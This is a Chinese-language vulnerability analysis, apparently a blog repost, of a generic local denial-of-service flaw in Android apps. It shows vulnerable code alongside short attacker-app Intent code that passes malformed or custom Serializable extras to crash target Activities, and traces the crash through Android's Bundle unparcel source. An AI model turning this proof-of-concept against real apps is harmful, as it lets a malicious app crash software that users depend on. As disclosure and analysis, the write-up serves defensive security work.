Android APP通用型拒绝服务、漏洞分析报告

点评:记得曾经有段时间很多SRC平台被刷了大量APP本地拒绝服务漏洞,移动安全团队爱内测(www.ineice.com)发现了一个安卓客户端的通用型拒绝服务漏洞,来看看他们的详细分析吧。 


0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。 


针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。 


漏洞应用代码片段:
1 Intent i = getIntent(); 
2 if(i.getAction().equals("serializable_action")){ 
3 i.getSerializableExtra("serializable_key"); //未做异常判断 
4 }
攻击应用代码片段:
1 Intent i = new Intent(); 
2 i.setAction("serializable_action"); 
3 i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity"); 
4 i.putExtra("seriadddddlizable_dkey",XXX); //此处是传入畸形数据 

5 startActivity(i);


比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException。 


但后来交流中发现,当传入一个自定义的序列化对象Serializable或getParcelable对象时,接收Intent的目标组件在getSerializableExtra()、getParcelable()等会抛出类未定义的异常java.lang.NoClassDefFoundError。这是因为当你给漏洞应用传入一个应用本身并没有的序列化类对象,在应用上下文中肯定是找不到这个类的。 

自定义的序列化类很简单:


1 public class DataSchema implements Serializable { 
2 private static final long serialVersionUID = -3601187837704976264L; 
3 public DataSchema() { 
4 super(); 
5 } 
6 }

对应的攻击代码中XXX处传入new DataSchema(),我们发现传入的key不管是否与漏洞应用相同,都会抛出类未定义的异常。 


随着测试的深入,我们通过logcat发现,在错误日志里不一定是getSerializableExtra()、getParcelable()导致的。然后我们就延伸了下,试着向getXXXExtra()传入我们自定义的序列化类对象,发现都会抛出类未定义的异常。 


测试app代码片段:
1 protected void onCreate(Bundle savedInstanceState) { 
2 Intent intent = getIntent(); 
3 intent.getStringExtra("ROIS"); //此处依然会由于NoClassDefFoundError crash 

4 }


接着我们测试了市面上大量主流应用,涵盖BAT等。发现这种方法可以通杀。我们开始觉得这个是android本身的问题,开始翻源代码。


01 public String getStringExtra(String name) { 
02 return mExtras == null ? null : mExtras.getString(name); 
03 } 
04 /frameworks/base/core/java/android/os/Bundle.java 
05 public String getString(String key) { 
06 unparcel(); //处理数据 
07 ... 
08 } 
09 /* package */ synchronized void unparcel() { 
10 ... 
11 mParcelledData.readMapInternal(mMap, N, mClassLoader); 
12 ... 
13 } 
14  
15 /frameworks/base/core/java/android/os/Parcel.java 
16 readMapInternal解析传递进来的数据
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值